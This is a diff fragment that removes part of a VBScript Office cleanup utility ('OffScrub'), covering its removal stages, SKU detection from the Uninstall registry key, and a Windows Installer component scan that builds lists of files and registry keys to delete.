-    Log "Prepare for CleanUp stages."
-    Log "Identifying removable elements. This can take several minutes."
-    ScanComponents
-Else
-    Log "Not running Component Detection in default removal."
-End If
-
-'End all running Office applications
-If fForce OR fQuiet OR fPassive Then CloseOfficeApps
-
-'----------------------
-'Stage # 2 - Setup.exe |
-'----------------------
-sTmp = "Stage # 2 " & chr(34) & "Setup.exe" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage2 Then
-    SetupExeRemoval
-Else
-    Log "Skipping Setup.exe because bypass was requested."
-End If
-
-'------------------------
-'Stage # 3 - Msiexec.exe |
-'------------------------
-sTmp = "Stage # 3 " & chr(34) & "Msiexec.exe" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage3 Then
-    MsiexecRemoval
-Else
-    Log "Skipping Msiexec.exe because bypass was requested."
-End If
-
-'--------------------
-'Stage # 4 - CleanUp |
-'--------------------
-'Removal of files and registry settings
-sTmp = "Stage # 4 " & chr(34) & "CleanUp" & chr(34) & " (" & Time & ")"
-Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
-If Not fBypass_Stage4 Then
-
-    'Office Source Engine
-    If fRemoveOse Then RemoveOSE
-
-    'Local Installation Source (MSOCache)
-    WipeLIS
-
-    'Obsolete files
-    If fRemoveAll Then
-        FileWipeAll
-    Else
-        FileWipeIndividual
-    End If
-
-    'Empty Folders
-    DeleteEmptyFolders
-
-    'Restore Explorer if needed
-    If fForce OR fQuiet OR fPassive Then RestoreExplorer
-
-    'Registry data
-    RegWipe
-
-    'Wipe orphaned files from Windows Installer cache
-    MsiClearOrphanedFiles
-
-    'Temporary .msi files in scrubcache
-    DeleteMsiScrubCache
-
-    'Temporary files
-    DelScrubTmp
-
-Else
-    Log "Skipping CleanUp because bypass was requested."
-End If
-
-If Not sMoveMessage = "" Then Log vbCrLf & "Please remove this folder after next reboot: " & sMoveMessage
-
-'THE END
-Log vbCrLf & "End removal: " & Now & vbCrLf
-Log vbCrLf & "For detailed logging please refer to the log in folder " &chr(34)&sScrubDir&chr(34)&vbCrLf
-
-If fRebootRequired Then
-    Log vbCrLf & "A restart is required to complete the operation!"
-    If NOT (fQuiet OR fPassive OR fNoReboot) Then
-        If MsgBox("Do you want to reboot now?",vbYesNo,"Reboot Required") = VB_YES Then
-            Dim colOS, oOS
-            Dim oWmiReboot
-            Set oWmiReboot = GetObject("winmgmts:{{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
-            Set colOS = oWmiReboot.ExecQuery ("Select * from Win32_OperatingSystem")
-            For Each oOS in colOS
-                oOS.Reboot()
-            Next
-        End If
-    End If
-End If
-
-If NOT (fQuiet OR fPassive) Then
-    For Each Item in Wscript.Arguments
-        If Item = "UAC" Then
-            If fCscript Then wscript.stdout.write "Press <Enter> to close this window"
-            sTemp = wscript.stdin.read(1)
-        End If
-    Next 'Argument
-End If
-'=======================================================================================================
-'=======================================================================================================
-
-'Stage 0 - 4 Subroutines
-'=======================================================================================================
-
-'Office configuration products are listed with their configuration product name in the "Uninstall" key
-'To identify an Office configuration product all of these condiditions have to be met:
-' - "SystemComponent" does not have a value of "1" (DWORD)
-' - "OPACKAGE" (see constant declaration) entry exists and is not empty
-' - "DisplayVersion" exists and the 2 leftmost digits are "OVERSIONMAJOR"
-Sub FindInstalledOProducts
-    Dim ArpItem, File
-    Dim sCurKey, sValue, sConfigName, sProdC, sCVHValue
-    Dim sProductCodeList, sProductCode
-    Dim arrKeys, arrMultiSzValues
-    Dim fSystemComponent0, fPackages, fDisplayVersion, fReturn, fCategorized
-
-    If dicInstalledSku.Count > 0 Then Exit Sub 'Already done from InputBox prompt
-
-    'Handle orphaned products to get them added to the detection scope
-    If fTryReconcile Then
-        For Each File in oFso.GetFolder(sWICacheDir).Files
-            If Len(File.Name)>3 Then
-                Select Case LCase(Right(File.Name, 4))
-                Case ".msi"
-                    sProductCode = ""
-                    sProductCode = GetMsiProductCode(File.Path)
-                    If InScope(sProductCode) Then
-                        If NOT RegKeyExists(HKLM, REG_ARP & sProductCode) Then
-                            'Ensure the orphaned item is getting removed
-                            If Len(sSkuRemoveList) > 0 Then
-                                sSkuRemoveList = sSkuRemoveList & "," & GetProductID(Mid(sProductCode, 11, 4))
-                            Else
-                                sSkuRemoveList = GetProductID(Mid(sProductCode, 11, 4))
-                            End If
-                            'Add to ScrubDir
-                            oFso.CopyFile File.Path,sScrubDir & "\" & sProductCode & ".msi",True
-                            'Register the product with MSI
-                            MsiRegisterProduct File.Path
-                        End If 'NOT sProductCode
-                    End If 'InScope
-                Case Else
-                End Select
-            End If '>3
-        Next 'File
-    End If 'fTryReconcile
-
-    'Locate standalone Office products that have no configuration product entry and create a
-    'temporary configuration entry
-    ReDim arrTmpSKUs(-1)
-    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
-        For Each ArpItem in arrKeys
-            If InScope(ArpItem) Then
-                sCurKey = REG_ARP & ArpItem & "\"
-                fSystemComponent0 = Not (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
-                If fSystemComponent0 Then
-                    RegReadValue HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ"
-                    Redim arrMultiSzValues(0)
-                    'Logic changed to drop the LCID identifier
-                    'sConfigName = GetProductID(Mid(ArpItem,11,4)) & "_" & CInt("&h" & Mid(ArpItem,16,4))
-                    sConfigName = OREGREF & GetProductID(Mid(ArpItem, 11, 4))
-                    If NOT RegKeyExists(HKLM, REG_ARP&sConfigName) Then
-                        'Create a new ARP item
-                        ReDim Preserve arrTmpSKUs(UBound(arrTmpSKUs) + 1)
-                        arrTmpSKUs(UBound(arrTmpSKUs)) = sConfigName
-                        oReg.CreateKey HKLM, REG_ARP & sConfigName
-                        arrMultiSzValues(0) = sConfigName
-                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, OPACKAGE, arrMultiSzValues
-                        arrMultiSzValues(0) = ArpItem
-                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "Comment", "Temporary OffScrub generated key. Please delete this key!"
-                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", arrMultiSzValues
-                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayVersion", sValue
-                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayName", SCRIPTNAME & "_" & sConfigName
-                        oReg.SetDWordValue HKLM, REG_ARP & sConfigName, "SystemComponent", 0
-                    Else
-                        'Update the existing temporary ARP item
-                        fReturn = RegReadValue(HKLM, REG_ARP&sConfigName, "ProductCodes", sProdC, "REG_MULTI_SZ")
-                        If NOT InStr(sProdC, ArpItem) > 0 Then sProdC = sProdC & chr(34) & ArpItem
-                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", Split(sProdC, Chr(34))
-                    End If 'RegKeyExists
-                End If 'fSystemComponent0
-            End If 'InScope
-        Next 'ArpItem
-    End If 'RegEnumKey
-
-    'Find the configuration products
-    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
-        For Each ArpItem in arrKeys
-            sCurKey = REG_ARP & ArpItem & "\"
-            sValue = ""
-            fSystemComponent0 = NOT (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
-            fPackages = RegReadValue(HKLM, sCurKey, OPACKAGE, sValue, "REG_MULTI_SZ")
-            fDisplayVersion = RegReadValue(HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ")
-            If fDisplayVersion Then
-                If Len(sValue) > 1 Then
-                    fDisplayVersion = (Left(sValue, 2) = OVERSIONMAJOR)
-                Else
-                    fDisplayVersion = False
-                End If
-            End If
-            'fSystemComponent0 filter causes issues if the ARP entries have been hidden
-            'If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
-            If (fPackages AND fDisplayVersion) Then
-                If InStr(ArpItem,".") > 0 Then sConfigName = UCase(Mid(ArpItem, InStr(ArpItem, ".") + 1)) Else sConfigName = UCase(ArpItem)
-                If NOT dicInstalledSku.Exists(sConfigName) Then dicInstalledSku.Add sConfigName, sConfigName
-
-                'Categorize the SKU
-                'Four categories are available: ClientSuite, ClientSingleProduct, Server, C2R
-                If RegReadValue(HKLM, REG_ARP & OREGREF & sConfigName, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
-                    fCategorized = False
-                    For Each sProductCode in Split(sProductCodeList, Chr(34))
-                        If Len(sProductCode) = 38 Then
-                            If Mid(sProductCode, 11, 1) = "1" Then
-                                'Server product
-                                If NOT dicSrv.Exists(UCase(sConfigName)) Then dicSrv.Add UCase(sConfigName), sConfigName
-                                fCategorized = True
-                                Exit For
-                            Else
-                                Select Case Mid(sProductCode, 11, 4)
-                                'Client Suites
-                                Case "000F","0011","0012","0013","0014","0015","0016","0017","0018","0019","001A","001B","0029","002B","002E","002F","0030","0031","0033","0035","0037","003D","0044","0049","0061","0062","0066","006C","006D","006F","0074","00A1","00A3","00A9","00BA","00CA","00E0","0100","0103","011A"
-                                    If NOT dicCSuite.Exists(UCase(sConfigName)) Then dicCSuite.Add UCase(sConfigName), sConfigName
-                                    fCategorized = True
-                                    Exit For
-
-                                Case "007E", "008F", "008C", "24E1", "237A"
-                                    If NOT dictionaryKeepProd.Exists(sProductCode) Then dictionaryKeepProd.Add sProductCode, sConfigName
-                                    fC2rInstalled = True
-                                Case Else
-                                End Select
-                            End If
-                        End If 'Len 38
-                    Next 'sProductCode
-                    If NOT fCategorized Then
-                        If NOT dicCSingle.Exists(UCase(sConfigName)) Then dicCSingle.Add UCase(sConfigName), sConfigName
-                    End If 'fCategorized
-                End If 'RegReadValue "ProductCodes"
-            End If
-        Next 'ArpItem
-    End If 'RegEnumKey
-End Sub 'FindInstalledOProducts
-'=======================================================================================================
-
-'Check if there are Office products from previous versions on the computer
-Sub CheckForLegacyProducts
-    Const OLEGACY = "78E1-11D2-B60F-006097C998E7}.6000-11D3-8CFE-0050048383C9}.6000-11D3-8CFE-0150048383C9}.BDCA-11D1-B7AE-00C04FB92F3D}.6D54-11D4-BEE3-00C04F990354}"
-    Dim Product
-
-    'Set safe default
-    fLegacyProductFound = True
-
-    For Each Product in oMsi.Products
-        If Len(Product) = 38 Then
-            'Handle O09 - O11 Products
-            If InStr(OLEGACY, UCase(Right(Product, 28))) > 0 Then
-                'Found legacy Office product. Keep flag in default and exit
-                Exit Sub
-            End If
-            If UCase(Right(Product,PRODLEN)) = OFFICEID Then
-                Select Case Mid(Product,4,2)
-                Case "12", "14"
-                    'Found legacy Office product. Keep flag in default and exit
-                    Exit Sub
-                Case Else
-                End Select
-            End If
-        End If '38
-    Next 'Product
-    fLegacyProductFound = False
-
-End Sub 'CheckForLegacyProducts
-'=======================================================================================================
-
-'Create clean list of Products to remove.
-'Strip off bad & empty contents
-Sub ValidateRemoveSkuList
-    Dim Sku, Key, sProductCode, sProductCodeList
-    Dim arrRemoveSKUs
-
-    If fRemoveAll Then
-        'Remove all mode
-        For Each Key in dicInstalledSku.Keys
-            dicRemoveSku.Add Key,dicInstalledSku.Item(Key)
-        Next 'Key
-    Else
-        'Remove individual products or preconfigured configurations mode
-
-        'Ensure to have a string with no unexpected contents
-        sSkuRemoveList = Replace(sSkuRemoveList,";",",")
-        sSkuRemoveList = Replace(sSkuRemoveList," ","")
-        sSkuRemoveList = Replace(sSkuRemoveList,Chr(34),"")
-        While InStr(sSkuRemoveList,",,")>0
-            sSkuRemoveList = Replace(sSkuRemoveList,",,",",")
-        Wend
-
-        'Prepare 'remove' and 'keep' dictionaries to determine what has to be removed
-
-        'Initial pre-fill of 'keep' dic
-        For Each Key in dicInstalledSku.Keys
-            dictionaryKeepSku.Add Key,dicInstalledSku.Item(Key)
-        Next 'Key
-
-        'Determine contents of keep and remove dic
-        'Individual products
-        arrRemoveSKUs = Split(UCase(sSkuRemoveList),",")
-        For Each Sku in arrRemoveSKUs
-            If Sku = "OSE" Then fRemoveOse = True
-            If dictionaryKeepSku.Exists(Sku) Then
-                'A Sku to remove has been passed in
-                'remove the item from the keep dic
-                dictionaryKeepSku.Remove(Sku)
-                'Now add it to the remove dic
-                If NOT dicRemoveSku.Exists(Sku) Then dicRemoveSku.Add Sku,Sku
-            End If
-        Next 'Sku
-
-        'Client Suite Category
-        If fRemoveCSuites Then
-            For Each Key in dicInstalledSku.Keys
-                If dicCSuite.Exists(Key) Then
-                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
-                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
-                End If
-            Next 'Key
-        End If 'fRemoveCSuites
-
-        'Client Single/Standalone Category
-        If fRemoveCSingle Then
-            For Each Key in dicInstalledSku.Keys
-                If dicCSingle.Exists(Key) Then
-                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
-                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
-                End If
-            Next 'Key
-        End If 'fRemoveCSingle
-
-        'Server Category
-        If fRemoveSrv Then
-            For Each Key in dicInstalledSku.Keys
-                If dicSrv.Exists(Key) Then
-                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
-                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
-                End If
-            Next 'Key
-        End If 'fRemoveSrv
-
-        If NOT dictionaryKeepSku.Count > 0 Then fRemoveAll = True
-
-    End If 'fRemoveAll
-
-    'Fill the KeepProd dic
-    For Each Sku in dictionaryKeepSku.Keys
-        If RegReadValue(HKLM, REG_ARP & OREGREF & Sku, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
-            For Each sProductCode in Split(sProductCodeList, chr(34))
-                If Len(sProductCode) = 38 Then
-                    If NOT dictionaryKeepProd.Exists(sProductCode) Then
-                    	dictionaryKeepProd.Add sProductCode, Sku
-                    	' also add the UpgradeCode
-                    	If Not dictionaryKeepProd.Exists(GetUpgradeCode(sProductCode)) Then dictionaryKeepProd.Add GetUpgradeCode(sProductCode), Sku & "_UpgradeCode"
-                    End If
-                End If '38
-            Next 'sProductCode
-        End If
-    Next 'Sku
-
-    If fRemoveAll OR fRemoveOse Then CheckRemoveOSE
-    If fRemoveAll OR fRemoveOspp Then CheckRemoveOspp
-
-End Sub 'ValidateRemoveSkuList
-'=======================================================================================================
-
-'Check if OSE service can be scrubbed
-Sub CheckRemoveOSE
-    Const O11 = "6000-11D3-8CFE-0150048383C9}"
-    Dim Product
-
-    If fRemoveOse Then Exit Sub
-    For Each Product in oMsi.Products
-        If Len(Product) = 38 Then
-            If UCase(Right(Product, 28)) = O11 Then
-                'Found Office 2003 Product. Set flag to not remove the OSE service
-                Exit Sub
-            End If
-            If UCase(Right(Product, PRODLEN))= OFFICEID Then
-                Select Case Mid(Product, 4, 2)
-                Case "12","14","15","16","17"
-                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
-	                    'Found another Office product. Set flag to keep the OSE service
-                        fRemoveOse = False
-                        Exit Sub
-                    End If
-                Case Else
-                End Select
-            End If
-        End If '38
-    Next 'Product
-    fRemoveOse = True
-End Sub 'CheckRemoveOSE
-'=======================================================================================================
-
-'Check if OSPP service can be scrubbed
-Sub CheckRemoveOSPP
-    Dim Product
-
-    If NOT CInt(OVERSIONMAJOR) > 12 Then
-        fRemoveOspp = False
-        Exit Sub
-    End If
-
-    If fRemoveOspp Then Exit Sub
-
-    If fC2rInstalled Then
-        fRemoveOspp = False
-        Exit Sub
-    End If
-
-    For Each Product in oMsi.Products
-        If Len(Product) = 38 Then
-            If UCase(Right(Product, PRODLEN)) = OFFICEID Then
-                Select Case Mid(Product, 4, 2)
-                Case "14","15","16","17"
-                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
-						'Found another Office product. Set flag to keep the OSPP service
-                        fRemoveOspp = False
-                        Exit Sub
-                    End If
-                Case Else
-                End Select
-            End If
-        End If '38
-    Next 'Product
-    fRemoveOspp = True
-End Sub 'CheckRemoveOSPP
-'=======================================================================================================
-
-'Cache .msi files for products that will be removed in case they are needed for later file detection
-Sub CacheMsiFiles
-    Dim Product
-    Dim sMsiFile
-
-    'Non critical routine for failures.
-    'Errors will be logged but must not fail the execution
-    On Error Resume Next
-    Log " Cache .msi files to temporary Scrub folder"
-    'Cache the files
-    For Each Product in oMsi.Products
-        'Ensure valid GUID length
-        If CheckDeleteEx(Product) Then
-            CheckError "CacheMsiFiles"
-            sMsiFile = oMsi.ProductInfo(Product,"LocalPackage") : CheckError "CacheMsiFiles"
-            LogOnly " - " & Product & ".msi"
-            If oFso.FileExists(sMsiFile) Then oFso.CopyFile sMsiFile,sScrubDir & "\" & Product & ".msi",True
-            CheckError "CacheMsiFiles"
-        End If 'InScope
-    Next 'Product
-
-    Err.Clear
-End Sub 'CacheMsiFiles
-'=======================================================================================================
-
-'Build a list of all files that will be deleted
-Sub ScanComponents
-    Const MSIINSTALLSTATE_LOCAL = 3
-
-    Dim FileList, RegList, ComponentID, CompClient, Record, qView, MsiDb, CompVerbose
-    Dim Processes, Process, Prop, prod
-    Dim sQuery, sSubKeyName, sPath, sFile, sMsiFile, sCompClient, sComponent, sCompReg
-    Dim fRemoveComponent, fAffectedComponent, fIsPermanent, fIsFile, fIsFolder
-    Dim i, iProgress, iCompCnt, iRemCnt
-    Dim dicFLError, oDic, oFolderDic, dicCompPath
-    Dim hDefKey
-
-    'Logfile
-    Set FileList = oFso.OpenTextFile(sScrubDir & "\FileList.txt",FOR_WRITING,True,True)
-    Set RegList = oFso.OpenTextFile(sScrubDir & "\RegList.txt",FOR_WRITING,True,True)
-    Set CompVerbose = oFso.OpenTextFile(sScrubDir & "\CompVerbose.txt",FOR_WRITING,True,True)
-
-    'FileListError dic
-    Set dicFLError = CreateObject("Scripting.Dictionary")
-
-    Set oDic = CreateObject("Scripting.Dictionary")
-    Set oFolderDic = CreateObject("Scripting.Dictionary")
-    Set dicCompPath = CreateObject("Scripting.Dictionary")
-
-    'Prevent that API errors fail script execution
-    On Error Resume Next
-
-    iCompCnt = oMsi.Components.Count
-    If NOT Err = 0 Then
-        'API failure
-        Log "Error during components detection. Cannot complete this task."
-        Err.Clear
-        Exit Sub
-    End If
-
-    'Ensure to not divide by zero
-    If iCompCnt = 0 Then iCompCnt = 1
-    LogOnly " Scanning " & iCompCnt & " components"
-    'Enum all Components
-    For Each ComponentID In oMsi.Components
-        CompVerbose.WriteLine vbCrLf & "Checking Component: " & ComponentID
-
-        'Progress bar
-        i = i + 1
-        If iProgress < (i / iCompCnt) * 100 Then
-            If fCScript Then wscript.stdout.write "." : LogStream.Write "."
-            iProgress = iProgress + 1
-            If iProgress = 35 OR iProgress = 70 Then Log ""
-        End If
-
-        'Check if all ComponentClients will be removed
-        sCompClient = ""
-        iRemCnt = 0
-        fIsPermanent = False
-        fRemoveComponent = False 'Flag to track if the component will be completely removed
-        fAffectedComponent = False 'Flag to track if some clients remain installed who have a none shared location
-        dicCompPath.RemoveAll
-        Err.Clear
-        For Each CompClient In oMsi.ComponentClients(ComponentID)
-            CompVerbose.Write " CompClient " & CompClient & "-> "
-            If Err = 0 Then
-                'Ensure valid guid length
-                If Len(CompClient) = 38 Then
-                    fRemoveComponent = InScope(CompClient)
-                    If fRemoveComponent OR (CompClient = "{{00000000-0000-0000-0000-000000000000}") Then
-                        sPath = ""
-                        sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
-                        sPath = Replace(sPath,"?",":")
-                        'Scan for msidbComponentAttributesPermanent flag
-                        If CompClient = "{{00000000-0000-0000-0000-000000000000}" Then
-                            fIsPermanent = True
-                            iRemCnt = iRemCnt + 1
-                        End If
-                        If fRemoveComponent Then fRemoveComponent = CheckDelete(CompClient)
-                        CompVerbose.Write "CheckDelete: " & fRemoveComponent & "; "
-                        If fRemoveComponent Then
-                            iRemCnt = iRemCnt + 1
-                            fAffectedComponent = True
-                            'Since the scope remains within one Office family the keypath for the component
-                            'is assumed to be identical
-                            If sCompClient = "" Then sCompClient = CompClient
-                        ' flag the CompClient entry for removal
-                            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
-                            If NOT dicDelRegKey.Exists(sCompReg) Then
-                                dicDelRegKey.Add sCompReg,HKCR
-                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-                            End If
-                            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
-                            If NOT dicDelRegKey.Exists(sCompReg) Then
-                                dicDelRegKey.Add sCompReg,HKLM
-                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-                            End If
-                        Else
-                            If NOT dicCompPath.Exists(sPath) Then dicCompPath.Add sPath,CompClient
-                        End If
-                        CompVerbose.WriteLine "AffectedComponent: " & fAffectedComponent
-                        CompVerbose.WriteLine " CompClient now set to: " & sCompClient
-                    Else
-                        CompVerbose.Write "InScope: " & fRemoveComponent & "; "
-                    End If
-                Else
-                    CompVerbose.WriteLine "Error: Invalid metadata"
-                    If NOT dicFLError.Exists("Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient) Then _
-                        dicFLError.Add "Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient, ComponentID
-                End If '38
-            Else
-                CompVerbose.WriteLine "Error: " & Err.number & " " & Err.Description
-                Err.Clear
-            End If 'Err = 0
-        Next 'CompClient
-
-        'Determine if the component resources go away
-        sPath = ""
-        fRemoveComponent = fAffectedComponent AND (iRemCnt = oMsi.ComponentClients(ComponentID).Count)
-        CompVerbose.WriteLine " Component goes away: " & fRemoveComponent
-' This caused unintentional removals
-'        If NOT fRemoveComponent AND fAffectedComponent Then
-'            'Flag as removable if component has a unique keypath
-'            sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
-'            sPath = Replace(sPath,"?",":")
-'            fRemoveComponent = NOT dicCompPath.Exists(sPath)
-'        End If
-        If fRemoveComponent Then
-            'Check msidbComponentAttributesPermanent flag
-            If fIsPermanent AND NOT fForce Then fRemoveComponent = False
-            CompVerbose.WriteLine " msidbComponentAttributesPermanent: " & NOT fRemoveComponent
-        End If
-
-        If fRemoveComponent Then
-            CompVerbose.WriteLine " RESULT: Component IN SCOPE for removal"
-            fIsFile = False : fIsFolder = False
-
-            'Component resources go away for this product
-            Err.Clear
-            'Add the component registration key to ensure removal
-            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"
-            If NOT dicDelRegKey.Exists(sCompReg) Then
-                dicDelRegKey.Add sCompReg,HKCR
-                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-            End If
-            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"
-            If NOT dicDelRegKey.Exists(sCompReg) Then
-                dicDelRegKey.Add sCompReg,HKLM
-                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-            End If
-            'Get the component path
-            If sPath = "" Then
-                sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
-                sPath = Replace(sPath,"?",":")
-            End If
-            CompVerbose.WriteLine " Path: " & sPath
-            If Len(sPath) > 4 Then
-                If Left(sPath,1) = "0" Then
-                    'Registry keypath
-
-                    Select Case Left(sPath,2)
-                    Case "00"
-                        sPath = Mid(sPath,5)
-                        hDefKey = HKCR
-                    Case "01"
-                        sPath = Mid(sPath,5)
-                        hDefKey = HKCU
-                    Case "02","22"
-                        sPath = Mid(sPath,5)
-                        hDefKey = HKLM
-                    Case Else
-                        '
-                    End Select
-
-                    'Go for the safe way and just reset the default entry
-                    'compared to deleting the whole key
-                    If Right(sPath,1) = "\" Then sPath = sPath & "(Default)"
-
-                    If NOT dicDelRegKey.Exists(sPath) Then
-                        dicDelRegKey.Add sPath,hDefKey
-                        RegList.WriteLine HiveString(hDefKey)&"\"&sPath
-                    End If
-                Else
-
-                    'File or Folder
-                    If oFso.FileExists(sPath) OR oFso.FolderExists(sPath) Then
-                        If Right(sPath,1) = "\" Then
-                            fIsFolder = True
-                            CompVerbose.WriteLine " Folder check OK"
-                        Else
-                            fIsFile = True
-                            CompVerbose.WriteLine " File check OK"
-                        End If
-                        If fIsFile Then sPath = oFso.GetFile(sPath).ParentFolder
-                        If Not oFolderDic.Exists(sPath) Then
-                            oFolderDic.Add sPath,sPath
-                            FileList.WriteLine sPath & vbTab & "(FOLDER)"
-                        End If
-                        'Get the .msi file
-                        If oFso.FileExists(sScrubDir & "\" & sCompClient & ".msi") Then
-                            sMsiFile = sScrubDir & "\" & sCompClient & ".msi"
-                        Else
-                            sMsiFile = oMsi.ProductInfo(sCompClient,"LocalPackage")
-                        End If
-                        CompVerbose.WriteLine " Set msi file to : " & sMsiFile
-                        If Not Err = 0 Then
-                            CompVerbose.WriteLine " Error: Failed to obtain .msi file for product " & sCompClient
-                            If NOT dicFLError.Exists("Failed to obtain .msi file for product "&sCompClient) Then _
-                                dicFLError.Add "Failed to obtain .msi file for product "&sCompClient, ComponentID
-                            Err.Clear
-                        End If
-                        CompVerbose.Write " Open .msi file for reading returned: "
-                        Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-
-                        If Err = 0 Then
-                            CompVerbose.WriteLine " SUCCESS"
-                            'Get the component name from the 'Component' table
-                            sQuery = "SELECT `Component`,`ComponentId` FROM Component WHERE `ComponentId` = '" & ComponentID &"'"
-                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
-                            Set Record = qView.Fetch()
-                            If Not Record Is Nothing Then sComponent = Record.Stringdata(1)
-                            CompVerbose.WriteLine " Obtained ComponentId as: " & sComponent
-
-                            'Get filenames from the 'File' table
-                            sQuery = "SELECT `Component_`,`FileName` FROM File WHERE `Component_` = '" & sComponent &"'"
-                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
-                            Set Record = qView.Fetch()
-                            Do Until Record Is Nothing
-                                'Read the filename
-                                sFile = Record.StringData(2)
-                                If InStr(sFile,"|") > 0 Then sFile = Mid(sFile,InStr(sFile,"|")+1,Len(sFile))
-                                'sFile = sPath & "\" & sFile
-                                CompVerbose.WriteLine "  File: " & sPath& "\" & sFile
-                                If Not oDic.Exists(sPath & "\" & sFile) Then
-                                    'Exception handler
-                                    fAdd = True
-                                    Select Case UCase(sFile)
-                                    Case "FPERSON.DLL"
-                                        'Catch exception caused by changed .msi keypath authoring logic for smart tags
-                                        For Each prod in oMsi.Products
-                                            If NOT Checkdelete(prod) Then
-                                                If oMsi.FeatureState(prod, "MSTagPluginNamesFiles") = MSIINSTALLSTATE_LOCAL Then
-                                                    fAdd = False
-                                                    Exit For
-                                                End If
-                                            End If
-                                        Next 'prod
-                                    Case Else
-                                    End Select
-                                    If fAdd Then
-                                        CompVerbose.WriteLine "  Added as new file to dictionary"
-                                        oDic.Add sPath & "\" & sFile,sFile
-                                        FileList.WriteLine sFile & vbTab & sPath & "\" & sFile
-                                        If Len(sFile)>4 Then
-                                            sFile = LCase(sFile)
-                                            If Right(sFile,4) = ".exe" Then
-                                                If NOT dicApps.Exists(sFile) Then
-                                                    Select Case sFile
-                                                    Case "setup.exe","ose.exe","osppsvc.exe","explorer.exe"
-                                                    Case Else
-                                                        dicApps.Add sFile,LCase(sPath) & "\" & sFile
-                                                        CompVerbose.WriteLine "  Added to the list of processes that need to be closed."
-                                                    End Select
-                                                End If 'dicApps.Exists
-                                            End If '.exe
-                                        End If 'Len > 4
-                                    End If 'fAdd
-                                End If 'oDic.Exists
-                                Set Record = qView.Fetch()
-                            Loop
-                            Set Record = Nothing
-                            qView.Close
-                            Set qView = Nothing
-                        Else
-                            CompVerbose.WriteLine " Error: Could not read from .msi file"
-                            If NOT dicFLError.Exists("Error: Could not read from .msi file: "&sMsiFile) Then _
-                                dicFLError.Add "Error: Could not read from .msi file: "&sMsiFile, ComponentID
-                            Err.Clear
-                        End If 'Err = 0
-                    Else
-                        CompVerbose.WriteLine " Error: File check FAILED"
-                    End If 'FileExists(sPath)
-                End If
-            End If 'Len(sPath) > 4
-        Else
-            CompVerbose.WriteLine " RESULT: Component NOT in scope for removal"
-            If fAffectedComponent Then
-                'Add the path to the 'Keep' dictionary
-                Err.Clear
-                For Each CompClient In oMsi.ComponentClients(ComponentID)
-                    'Get the component path
-                    sPath = "" : sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
-                    sPath = Replace(sPath,"?",":")
-
-                    If Len(sPath) > 4 Then
-                        If Left(sPath,1) = "0" Then
-                            'Registry keypath
-
-                            Select Case Left(sPath,2)
-                            Case "00"
-                                sPath = Mid(sPath,5)
-                                hDefKey = HKCR
-                            Case "01"
-                                sPath = Mid(sPath,5)
-                                hDefKey = HKCU
-                            Case "02","22"
-                                sPath = Mid(sPath,5)
-                                hDefKey = HKLM
-                            Case Else
-                                '
-                            End Select
-                            If NOT dictionaryKeepReg.Exists(LCase(sPath)) Then
-                                dictionaryKeepReg.Add LCase(sPath),hDefKey
-                            End If
-                        Else
-                            'File keypath
-                            If oFso.FileExists(sPath) Then
-                                If NOT dictionaryKeepFolder.Exists(LCase(sPath)) Then dictionaryKeepFolder.Add LCase(sPath)
-                                sPath = LCase(oFso.GetFile(sPath).ParentFolder) & "\"
-                                If NOT dictionaryKeepFolder.Exists(sPath) Then AddKeepFolder sPath
-                            End If
-                            'Folder keypath
-                            If oFso.FolderExists(sPath) Then AddKeepFolder sPath
-                        End If 'Is Registry
